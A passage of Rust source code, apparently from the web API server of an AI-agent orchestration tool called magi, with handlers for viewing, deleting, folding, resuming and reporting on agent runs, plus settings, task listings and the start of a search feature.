3461    /// elsewhere" on the strength of an unverified claim would bury the
3462    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
3463    /// in-flight status are excluded because they are exactly the
3464    /// unresolved states this field exists to tell apart from a real finish.
3465    resolved: bool,
3466    /// The attempt's own recorded status, so the page can say where it
3467    /// stands while it is not resolved yet.
3468    status: RunStatus,
3469    /// Whether that status is terminal (nothing is still running it).
3470    done: bool,
3471}
3472
3473/// Markdown for the free-text prose of a run, parallel to `RunState`.
3474#[derive(Debug, Default, Serialize)]
3475struct RunProseMd {
3476    /// `None` when the run has no design deliberation.
3477    advice_md: Option<AdviceMd>,
3478    /// One entry per candidate: the summary.
3479    candidate_summaries_md: Vec<Vec<md::Node>>,
3480    /// One entry per review round, in `reviews` order.
3481    reviews_md: Vec<RoundMd>,
3482}
3483
3484#[derive(Debug, Default, Serialize)]
3485struct AdviceMd {
3486    synthesis: Vec<md::Node>,
3487    /// One per record; empty for a seat with no proposal.
3488    approaches: Vec<Vec<md::Node>>,
3489}
3490
3491#[derive(Debug, Default, Serialize)]
3492struct RoundMd {
3493    /// One per reviewer record.
3494    reviewers: Vec<ReviewerMd>,
3495    /// One per `reconsideration` entry: the reason.
3496    reconsideration: Vec<Vec<md::Node>>,
3497    fix: Option<FixMd>,
3498}
3499
3500#[derive(Debug, Default, Serialize)]
3501struct ReviewerMd {
3502    summary: Vec<md::Node>,
3503    /// One per finding, in recorded order (not the display order).
3504    findings: Vec<Vec<md::Node>>,
3505}
3506
3507#[derive(Debug, Default, Serialize)]
3508struct FixMd {
3509    notes: Vec<md::Node>,
3510    /// One per rejection: the argument.
3511    rejected: Vec<Vec<md::Node>>,
3512}
3513
3514/// Parse a run's agent-written prose; a pure function of the state.
3515fn run_prose_md(state: &RunState) -> RunProseMd {
3516    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3517    RunProseMd {
3518        advice_md: state.advice.as_ref().map(|a| AdviceMd {
3519            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3520            approaches: a
3521                .records
3522                .iter()
3523                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3524                .collect(),
3525        }),
3526        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3527        reviews_md: state
3528            .reviews
3529            .iter()
3530            .map(|round| RoundMd {
3531                reviewers: round
3532                    .reviews
3533                    .iter()
3534                    .map(|rec| ReviewerMd {
3535                        summary: nodes(&rec.summary),
3536                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3537                    })
3538                    .collect(),
3539                reconsideration: round
3540                    .reconsideration
3541                    .iter()
3542                    .map(|rv| nodes(&rv.reason))
3543                    .collect(),
3544                fix: round.fix.as_ref().map(|fix| FixMd {
3545                    notes: nodes(&fix.notes),
3546                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3547                }),
3548            })
3549            .collect(),
3550    }
3551}
3552
3553impl RunDetailView {
3554    fn of(
3555        state: RunState,
3556        waiting: bool,
3557        live: crate::run::Liveness,
3558        superseded_by: Option<String>,
3559        latest_attempt: Option<LatestAttempt>,
3560        task: Option<TaskRef>,
3561    ) -> Self {
3562        let display_status = run_display_status(&state, waiting, live);
3563        let stop_reason = crate::stop_reason::of(
3564            &state,
3565            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
3566        );
3567        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
3568        Self {
3569            stop_reason,
3570            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
3571            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3572            prose_md: run_prose_md(&state),
3573            origin_label: crate::run::origin_label(state.origin.as_ref()),
3574            live,
3575            unmerged_by_design: state.unmerged_by_design(),
3576            waiting,
3577            display_status,
3578            badge_status,
3579            done: state.status.done(),
3580            superseded_by,
3581            latest_attempt,
3582            task,
3583            state,
3584        }
3585    }
3586}
3587
3588async fn run_detail(
3589    State(ui): State<Arc<Ui>>,
3590    Path(id): Path<String>,
3591) -> ApiResult<Json<RunDetailView>> {
3592    blocking(move || {
3593        let id = resolve_run(&ui.runs, &id)?;
3594        let state = read_run(&ui.runs, &id)?;
3595        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3596        let live = state.liveness(daemon_claims);
3597        let waiting = !ui.questions.open_for(&id).is_empty();
3598        let superseded_by = state
3599            .pr_taken_over_by
3600            .clone()
3601            .or_else(|| ui.queue.superseded_by(&id))
3602            .as_deref()
3603            .map(crate::run::short_of)
3604            .map(str::to_owned);
3605        // Best-effort: an unreadable head (mid-write, or deleted) just means
3606        // this run's own status stands on its own, same as no later attempt
3607        // existing at all.
3608        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3609            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3610                short: head.short().to_owned(),
3611                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3612                status: head.status,
3613                done: head.status.done(),
3614                id: head.id,
3615            })
3616        });
3617        let max_attempts = daemon::Opts::default().max_attempts;
3618        let task = ui
3619            .queue
3620            .list()
3621            .into_iter()
3622            .find(|t| t.runs.contains(&id))
3623            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3624        Ok(Json(RunDetailView::of(
3625            state,
3626            waiting,
3627            live,
3628            superseded_by,
3629            latest_attempt,
3630            task,
3631        )))
3632    })
3633    .await
3634}
3635
3636/// `DELETE /api/runs/{id}`.
3637///
3638/// Remove a finished, folded run directory along with its artifacts.
3639/// Running runs and runs with unfolded candidate worktrees/branches cannot be
3640/// deleted. This never touches git worktrees or branches - except for a run
3641/// whose state this build cannot read at all, where there is no candidate
3642/// list to check and the wholesale removal `magi fold` already uses for that
3643/// case is the only meaningful "delete".
3644async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3645    let (id, unreadable) = {
3646        let ui = Arc::clone(&ui);
3647        blocking(move || {
3648            let id = resolve_run(&ui.runs, &id)?;
3649            match read_run(&ui.runs, &id) {
3650                Ok(state) => {
3651                    let in_flight =
3652                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3653                    state
3654                        .ensure_can_delete(in_flight)
3655                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3656                    let dir = ui.runs.join(&id);
3657                    std::fs::remove_dir_all(&dir)
3658                        .with_context(|| format!("remove run directory {}", dir.display()))?;
3659                    Ok((id, false))
3660                }
3661                Err(_) => {
3662                    // Unreadable: there is no candidate list to guard on, so
3663                    // a live daemon's claim is the only thing left to check -
3664                    // the same rule `run_fold` applies for the same reason.
3665                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3666                        return Err(ApiError::conflict(format!(
3667                            "run {id} is being worked on by a live daemon right now"
3668                        )));
3669                    }
3670                    Ok((id, true))
3671                }
3672            }
3673        })
3674        .await?
3675    };
3676    if unreadable {
3677        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3678            .await
3679            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3680    }
3681    let ui = Arc::clone(&ui);
3682    let done = id.clone();
3683    blocking(move || {
3684        // The agent that asked died with the run, so an open question would
3685        // keep asking the operator for a decision nobody can deliver.
3686        ui.questions.abandon_for_run(
3687            &done,
3688            &format!("run {done} was deleted, so nothing is waiting for this answer"),
3689        )?;
3690        Ok(())
3691    })
3692    .await?;
3693    Ok(StatusCode::NO_CONTENT)
3694}
3695
3696/// `POST /api/runs/{id}/fold`.
3697///
3698/// Remove a run's candidate worktrees and branches, keeping its record.
3699///
3700/// This exists because the deck answered "delete this run" with *"Candidates
3701/// must be folded before deleting. Run `magi fold` first."* — a phone being
3702/// told to open a terminal, in the one product whose point is that it does
3703/// not need one. The runs an operator most wants gone are the stalled and
3704/// blocked ones, and those are exactly the runs still holding worktrees:
3705/// three of them here held 53 GB.
3706///
3707/// The winner's tree goes too. A fold is what someone asks for when they are
3708/// finished with a run, and leaving one tree behind would leave the delete
3709/// button disabled for the same reason as before.
3710///
3711/// Refused while a live daemon is working on the run, on the rule that guards
3712/// deletion: folding underneath a running agent would pull the tree it is
3713/// editing out from under it.
3714///
3715/// A run whose state this build cannot read at all falls back to
3716/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
3717/// selectively, so the whole record's worktree goes wholesale, exactly what
3718/// `magi fold` does on the command line for the same run.
3719async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3720    let (id, state) = {
3721        let ui = Arc::clone(&ui);
3722        blocking(move || {
3723            let id = resolve_run(&ui.runs, &id)?;
3724            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3725                return Err(ApiError::conflict(format!(
3726                    "run {id} is being worked on by a live daemon right now"
3727                )));
3728            }
3729            let state = read_run(&ui.runs, &id).ok();
3730            Ok((id, state))
3731        })
3732        .await?
3733    };
3734    let removed = match state {
3735        Some(mut state) => {
3736            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3737                .await
3738                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3739            // Nothing left to remove is not the same thing as nothing left to
3740            // do — see `clean::clear_abandoned_active`'s own doc for the run
3741            // this exists for: worktrees already gone, but a killed process
3742            // left active seats nobody will ever answer for.
3743            if removed.is_empty() {
3744                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3745                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3746            }
3747            removed
3748        }
3749        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3750            .await
3751            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3752    };
3753    Ok(Json(FoldView {
3754        run: id,
3755        removed_count: removed.len(),
3756        removed,
3757    }))
3758}
3759
3760/// What a fold took away, so the deck can say so rather than only re-render.
3761#[derive(Debug, Serialize)]
3762struct FoldView {
3763    run: String,
3764    /// Worktree paths and branch names removed, in the order they went.
3765    removed: Vec<String>,
3766    removed_count: usize,
3767}
3768
3769/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
3770/// merged outside of `land::land`'s own loop.
3771#[derive(Debug, Deserialize)]
3772struct FoldMergedBody {
3773    #[serde(default)]
3774    pr_url: String,
3775}
3776
3777/// `POST /api/runs/{id}/fold-merged`.
3778///
3779/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
3780/// `Blocked` with `merge: null` because magi never got as far as opening a
3781/// pull request of its own (a title over GitHub's length limit, `gh pr
3782/// create` unreachable, a stale token), which the operator then finished by
3783/// hand on a pull request magi never recorded. The "Run actions" sheet used
3784/// to have no way to tell it about that pull request short of a terminal and
3785/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
3786/// this exists and what it deliberately does not do (`bump::after_merge`).
3787///
3788/// Refused, like [`run_fold`], while a live daemon is working on the run: the
3789/// correction rewrites the same `status`/`merge` fields a running graph would
3790/// be writing to on its own.
3791///
3792/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
3793/// calls plus a fold, seconds of work, and the phone should get its answer
3794/// (which pull request it recorded, and what changed) in the same round
3795/// trip rather than learning it from the change stream.
3796async fn run_fold_merged(
3797    State(ui): State<Arc<Ui>>,
3798    Path(id): Path<String>,
3799    Json(body): Json<FoldMergedBody>,
3800) -> ApiResult<Json<FoldMergedView>> {
3801    let pr_url = body.pr_url.trim().to_owned();
3802    if pr_url.is_empty() {
3803        return Err(ApiError::bad_request("pr_url is required"));
3804    }
3805    let (id, mut state) = {
3806        let ui = Arc::clone(&ui);
3807        blocking(move || {
3808            let id = resolve_run(&ui.runs, &id)?;
3809            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3810                return Err(ApiError::conflict(format!(
3811                    "run {id} is being worked on by a live daemon right now"
3812                )));
3813            }
3814            let state = read_run(&ui.runs, &id)?;
3815            Ok((id, state))
3816        })
3817        .await?
3818    };
3819    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3820        .await
3821        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3822    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3823        .await
3824        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3825    Ok(Json(FoldMergedView {
3826        run: id,
3827        before: before.as_str().to_owned(),
3828        after: after.as_str().to_owned(),
3829        removed,
3830    }))
3831}
3832
3833/// What [`run_fold_merged`] did, so the deck can say so.
3834#[derive(Debug, Serialize)]
3835struct FoldMergedView {
3836    run: String,
3837    /// `status` before the correction — normally `"blocked"`.
3838    before: String,
3839    /// `status` after — normally `"merged"`.
3840    after: String,
3841    /// Worktree paths and branch names the trailing fold removed.
3842    removed: Vec<String>,
3843}
3844
3845/// `POST /api/runs/{id}/resume`.
3846///
3847/// Carry a stalled run on from where it stopped, in the background.
3848///
3849/// A stalled card says "the work is kept" and used to offer no way to act on
3850/// that: the candidates are built and paid for, and continuing means re-asking
3851/// only the seats whose absence collapsed the panel. The alternative an
3852/// operator actually had was releasing the task, which competes three fresh
3853/// implementations against work that already exists.
3854///
3855/// **202, not 200.** A resume runs agents for minutes; holding the connection
3856/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
3857/// phone learns the outcome from the change stream.
3858///
3859/// Refused when the loop is running at all, not merely when it is on this run.
3860/// The scarce resource is the agent CLIs' quota, and a tap that quietly
3861/// started a second graph on top of whatever the loop is already driving —
3862/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
3863/// allows — would spend that quota twice over for no extra throughput.
3864async fn run_resume(
3865    State(ui): State<Arc<Ui>>,
3866    Path(id): Path<String>,
3867) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3868    let (id, state) = {
3869        let ui = Arc::clone(&ui);
3870        blocking(move || {
3871            let id = resolve_run(&ui.runs, &id)?;
3872            let state = read_run(&ui.runs, &id)?;
3873            Ok((id, state))
3874        })
3875        .await?
3876    };
3877    crate::resume::validate_unqueued(&ui.home, &id)
3878        .map_err(|e| ApiError::conflict(e.to_string()))?;
3879    let _resume = ui.begin_resume(&id)?;
3880
3881    // The same shape the list route returns, so the phone updates the card it
3882    // already has rather than learning a second schema for one button.
3883    let queued = RunSummary::of(
3884        &state,
3885        !ui.questions.open_for(&id).is_empty(),
3886        state.liveness(false),
3887    );
3888    let run = id.clone();
3889    tokio::spawn(async move {
3890        let _resume = _resume;
3891        crate::resume::execute(&run).await;
3892    });
3893    Ok((StatusCode::ACCEPTED, Json(queued)))
3894}
3895
3896async fn run_report(
3897    State(ui): State<Arc<Ui>>,
3898    Path(id): Path<String>,
3899) -> ApiResult<impl IntoResponse> {
3900    let text = blocking(move || {
3901        let id = resolve_run(&ui.runs, &id)?;
3902        // Colour is off for the whole process, set once in `serve`. Rendering
3903        // is CPU work over the full state, which is the other reason this is
3904        // not on the executor.
3905        let state = read_run(&ui.runs, &id)?;
3906        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3907        let live = state.liveness(daemon_claims);
3908        Ok(format!(
3909            "{}{}",
3910            report::run(&state),
3911            report::active_seats(&state, live)
3912        ))
3913    })
3914    .await?;
3915    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3916}
3917
3918/// The structured twin of [`run_report`]: the same state, as sections the UI
3919/// draws as cards. An unreadable run answers with the same error the text
3920/// route does; it is never turned into an empty report.
3921async fn run_report_json(
3922    State(ui): State<Arc<Ui>>,
3923    Path(id): Path<String>,
3924) -> ApiResult<Json<crate::report_view::RunReportView>> {
3925    let view = blocking(move || {
3926        let id = resolve_run(&ui.runs, &id)?;
3927        let state = read_run(&ui.runs, &id)?;
3928        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3929        // Only a record that lacks the structured details reads `artifacts/`.
3930        let recovered = state.graft.as_ref().map(|_| {
3931            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
3932        });
3933        Ok(crate::report_view::build_with(
3934            &state,
3935            state.liveness(daemon_claims),
3936            recovered.as_ref(),
3937        ))
3938    })
3939    .await?;
3940    Ok(Json(view))
3941}
3942
3943/// Most of a graft diff the route returns.
3944const GRAFT_DIFF_MAX: usize = 400 * 1024;
3945/// How long `git diff` may run.
3946const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
3947
3948/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
3949/// come from the run record, never from the request.
3950async fn run_graft_diff(
3951    State(ui): State<Arc<Ui>>,
3952    Path(id): Path<String>,
3953) -> ApiResult<impl IntoResponse> {
3954    let (repo, pre, post) = blocking(move || {
3955        let id = resolve_run(&ui.runs, &id)?;
3956        let state = read_run(&ui.runs, &id)?;
3957        let g = state
3958            .graft
3959            .as_ref()
3960            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
3961        let post = g
3962            .post
3963            .clone()
3964            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
3965        Ok((state.repo.clone(), g.pre.clone(), post))
3966    })
3967    .await?;
3968    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
3969    if !hex(&pre) || !hex(&post) {
3970        return Err(ApiError::not_found("the recorded commits are not valid"));
3971    }
3972    let out = tokio::time::timeout(
3973        GRAFT_DIFF_TIMEOUT,
3974        crate::git::git_raw(
3975            &repo,
3976            &[
3977                "diff",
3978                "--no-color",
3979                "--no-ext-diff",
3980                "-M",
3981                &pre,
3982                &post,
3983                "--",
3984            ],
3985        ),
3986    )
3987    .await
3988    .map_err(|_| ApiError::not_found("git diff timed out"))?
3989    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
3990    if out.code != Some(0) {
3991        return Err(ApiError::not_found(
3992            "the recorded commits are no longer in the repository",
3993        ));
3994    }
3995    let mut body = out.stdout;
3996    if body.len() > GRAFT_DIFF_MAX {
3997        let mut cut = GRAFT_DIFF_MAX;
3998        while !body.is_char_boundary(cut) {
3999            cut -= 1;
4000        }
4001        body.truncate(cut);
4002        body.push_str("\n... diff truncated ...");
4003    }
4004    Ok((
4005        [
4006            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4007            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4008        ],
4009        body,
4010    ))
4011}
4012
4013/// A task as the UI sees it.
4014///
4015/// The whole task, plus the two things the client would otherwise have to
4016/// reimplement: the human-readable source and the status string. Nothing is
4017/// removed - the phone shows `last_error` and the run history verbatim.
4018#[derive(Debug, Serialize)]
4019struct TaskView {
4020    #[serde(flatten)]
4021    task: Task,
4022    source_label: String,
4023    source_link: Option<SourceLink>,
4024    status_str: &'static str,
4025    /// The instruction, parsed as markdown, for the Queue card's "Full
4026    /// instruction" panel. `task.instruction` is unchanged and still carries
4027    /// the raw text.
4028    instruction_md: Vec<md::Node>,
4029    /// For a blocked task, what it waits on with each dependency's state, e.g.
4030    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
4031    /// recurses; empty for every other status.
4032    waits_on: Vec<String>,
4033    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
4034    /// behind - non-empty means nothing in the loop will ever run it.
4035    stuck_roots: Vec<String>,
4036}
4037
4038impl From<Task> for TaskView {
4039    fn from(task: Task) -> Self {
4040        Self {
4041            source_label: task.source.label(),
4042            source_link: source_link(&task.source),
4043            status_str: task.status.as_str(),
4044            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4045            waits_on: Vec::new(),
4046            stuck_roots: Vec::new(),
4047            task,
4048        }
4049    }
4050}
4051
4052impl TaskView {
4053    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4054        let waits_on = inv.waits_on(&task);
4055        let stuck_roots = inv
4056            .stuck_roots(&task)
4057            .iter()
4058            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4059            .collect();
4060        Self {
4061            waits_on,
4062            stuck_roots,
4063            ..Self::from(task)
4064        }
4065    }
4066}
4067
4068/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
4069/// its absence, leaves the cache to decide.
4070#[derive(Debug, Default, Deserialize)]
4071#[serde(default)]
4072struct ReposQuery {
4073    refresh: u8,
4074}
4075
4076/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
4077/// listing `magi repos` prints at a terminal.
4078///
4079/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
4080/// so an edit to `magi.toml` takes effect without a restart, the same
4081/// reasoning [`config_for`] documents for the talk routes.
4082async fn repos_list(
4083    State(ui): State<Arc<Ui>>,
4084    Query(q): Query<ReposQuery>,
4085) -> ApiResult<Json<Vec<repos::Repo>>> {
4086    let refresh = q.refresh != 0;
4087    blocking(move || {
4088        let (cfg, _) = Config::discover(&ui.repo, None)?;
4089        Ok(Json(ui.repos_cache.list(
4090            &cfg.repos.roots,
4091            Duration::from_secs(cfg.repos.scan_ttl),
4092            refresh,
4093        )))
4094    })
4095    .await
4096}
4097
4098/// Optional context, restricted to the server's known checkouts.
4099#[derive(Debug, Default, Deserialize)]
4100struct SettingsQuery {
4101    repo: Option<PathBuf>,
4102}
4103
4104/// Always discover against the server's original context, never the selection.
4105/// If that config is broken, retain the default context and machine-only roots
4106/// so the settings error contract and recovery picker remain available.
4107fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4108    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4109        let paths: Vec<PathBuf> = ui
4110            .machine_config
4111            .iter()
4112            .filter(|p| p.is_file())
4113            .cloned()
4114            .collect();
4115        if paths.is_empty() {
4116            Ok(Config::autodetected())
4117        } else {
4118            Config::load_layers(&paths)
4119        }
4120    });
4121    let mut known = cfg
4122        .map(|cfg| {
4123            ui.repos_cache.list(
4124                &cfg.repos.roots,
4125                Duration::from_secs(cfg.repos.scan_ttl),
4126                refresh,
4127            )
4128        })
4129        .unwrap_or_default();
4130    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4131    if !known.iter().any(|r| r.path == path) {
4132        known.push(repos::Repo {
4133            name: path
4134                .file_name()
4135                .unwrap_or_default()
4136                .to_string_lossy()
4137                .into_owned(),
4138            path,
4139        });
4140    }
4141    known
4142}
4143
4144fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4145    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4146    let canonical = requested.canonicalize().ok();
4147    let mut known = settings_repositories(ui, false);
4148    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4149    if !known.iter().any(matches) {
4150        known = settings_repositories(ui, true);
4151    }
4152    let repo = known
4153        .iter()
4154        .find(|r| matches(r))
4155        .map(|r| r.path.clone())
4156        .ok_or_else(|| ApiError {
4157            text_reason: None,
4158            status: StatusCode::UNPROCESSABLE_ENTITY,
4159            message: "Choose a known repository from the Settings selector.".to_owned(),
4160        })?;
4161    Ok((repo, known))
4162}
4163
4164/// `GET /api/settings` - the effective role assignments and roster, with the
4165/// layer each came from. A config that fails to load answers 200 with an
4166/// `error`, so the screen can say so instead of drawing empty lists.
4167async fn settings_get(
4168    State(ui): State<Arc<Ui>>,
4169    Query(q): Query<SettingsQuery>,
4170) -> ApiResult<Json<settings::SettingsView>> {
4171    blocking(move || {
4172        let (repo, known) = settings_context(&ui, q)?;
4173        Ok(Json(settings::view_with_repos(
4174            &repo,
4175            ui.machine_config.as_deref(),
4176            &known,
4177        )))
4178    })
4179    .await
4180}
4181
4182/// The body of `PUT /api/settings/roles`.
4183#[derive(Debug, Deserialize)]
4184#[serde(deny_unknown_fields)]
4185struct RolesBody {
4186    /// The `revision` the client last read.
4187    revision: String,
4188    /// Role key to its new ids; an empty list resets the key to its default.
4189    #[serde(default)]
4190    roles: std::collections::BTreeMap<String, Vec<String>>,
4191    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
4192    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
4193    /// words (422) instead of as a deserialization error.
4194    #[serde(default)]
4195    counts: std::collections::BTreeMap<String, serde_json::Value>,
4196}
4197
4198/// `PUT /api/settings/roles` - save role assignments to the machine config.
4199///
4200/// The write target is `ui.machine_config` and nothing in the body can change
4201/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
4202/// 422 with the reason in words.
4203async fn settings_put_roles(
4204    State(ui): State<Arc<Ui>>,
4205    Query(q): Query<SettingsQuery>,
4206    body: std::result::Result<Json<RolesBody>, JsonRejection>,
4207) -> ApiResult<Json<settings::SettingsView>> {
4208    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4209    blocking(move || {
4210        let (repo, known) = settings_context(&ui, q)?;
4211        settings::save_with_repos(
4212            &repo,
4213            ui.machine_config.as_deref(),
4214            &body.revision,
4215            &body.roles,
4216            &body.counts,
4217            &known,
4218        )
4219        .map(Json)
4220        .map_err(|e| match e {
4221            settings::SaveError::Conflict(m) => ApiError::conflict(m),
4222            settings::SaveError::Refused(m) => ApiError {
4223                text_reason: None,
4224                status: StatusCode::UNPROCESSABLE_ENTITY,
4225                message: m,
4226            },
4227            settings::SaveError::Internal(m) => ApiError::internal(m),
4228        })
4229    })
4230    .await
4231}
4232
4233async fn queue_list(
4234    State(ui): State<Arc<Ui>>,
4235    Query(q): Query<ListQuery>,
4236) -> ApiResult<Json<Vec<TaskView>>> {
4237    blocking(move || {
4238        let tasks = ui.queue.list();
4239        let inv = crate::blockers::Inventory::load(&ui.queue, &ui.questions);
4240        Ok(Json(
4241            tasks
4242                .into_iter()
4243                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4244                .map(|t| TaskView::with_inventory(t, &inv))
4245                .collect(),
4246        ))
4247    })
4248    .await
4249}
4250
4251/// Most hits one search returns. The rest are counted in `total`.
4252const SEARCH_MAX_HITS: usize = 100;
4253/// Longest query, in characters, and most terms it is split into.
4254const SEARCH_MAX_QUERY: usize = 200;
4255const SEARCH_MAX_TERMS: usize = 8;
4256/// Characters of context kept before the first hit, and after it.
4257const SNIPPET_BEFORE: usize = 50;
4258const SNIPPET_AFTER: usize = 110;
4259
4260/// `?scope=runs|tasks&q=...`
4261#[derive(Debug, Deserialize)]
4262struct SearchQuery {
4263    #[serde(default)]
4264    scope: String,
4265    #[serde(default)]
4266    q: String,
4267}
4268
4269/// One piece of a snippet. `hit` pieces are what matched; the client renders
4270/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
4271#[derive(Debug, Serialize, PartialEq, Eq)]
4272struct SnippetPart {
4273    text: String,
4274    hit: bool,
4275}
4276
4277#[derive(Debug, Serialize)]
4278struct SearchHit {
4279    id: String,
4280    /// The name of the field the snippet was cut from.
4281    field: String,
4282    snippet: Vec<SnippetPart>,
4283    /// The run's list row, so the page can apply its state / section / repo
4284    /// filters to a hit outside the loaded window. Absent for tasks and for a
4285    /// run record the list view cannot read.
4286    #[serde(skip_serializing_if = "Option::is_none")]
4287    run: Option<RunSummary>,
4288}
4289
4290#[derive(Debug, Serialize)]
4291struct SearchView {
4292    scope: String,
4293    q: String,
4294    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
4295    hits: Vec<SearchHit>,
4296    /// Every match, hits beyond the cap included.
4297    total: usize,
4298    truncated: bool,
4299    /// Runs whose `run.json` could not be parsed at all. They were not
4300    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
4301    unreadable: usize,
4302}
4303
4304/// The text leaves of a JSON document, with the name of the field each sits
4305/// under. Keys and numbers are skipped: they are structure, not prose.
4306fn text_leaves<'a>(
4307    value: &'a serde_json::Value,
4308    field: &'a str,
4309    out: &mut Vec<(&'a str, &'a str)>,
4310) {
4311    match value {
4312        serde_json::Value::String(s) => out.push((field, s)),
4313        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4314        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4315        _ => {}
4316    }
4317}
4318
4319/// Lower-case one character without changing how many there are, so indices
4320/// in the lowered text are indices in the original.
4321fn fold_char(c: char) -> char {
4322    c.to_lowercase().next().unwrap_or(c)
4323}
4324
4325/// Split a query into its lower-cased terms.
4326fn search_terms(q: &str) -> Vec<String> {
4327    let mut terms: Vec<String> = Vec::new();
4328    for t in q.split_whitespace() {
4329        let t = t.to_lowercase();
4330        if !terms.contains(&t) {
4331            terms.push(t);
4332        }
4333    }
4334    terms
4335}
4336
4337/// Match `terms` (all of them, anywhere in the document) against the leaves
4338/// and cut a snippet around the first hit. `None` when a term is missing.
4339fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4340    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4341    let mut first: Option<usize> = None;
4342    for term in terms {
4343        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4344        first = Some(first.map_or(at, |f| f.min(at)));
4345    }
4346    // The leaf holding the earliest hit of any term is where the snippet is cut.
4347    let (field, text) = leaves[first?];
4348    Some(SearchHit {
4349        id: String::new(),
4350        field: field.to_owned(),
4351        snippet: snippet_of(text, terms),
4352        run: None,
4353    })
4354}
4355
4356/// A window of `text` around the first occurrence of any term, whitespace
4357/// collapsed, with every term occurrence inside the window marked.
4358fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4359    let chars: Vec<char> = text.chars().collect();
4360    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4361    let needles: Vec<Vec<char>> = terms
4362        .iter()
4363        .map(|t| t.chars().map(fold_char).collect())
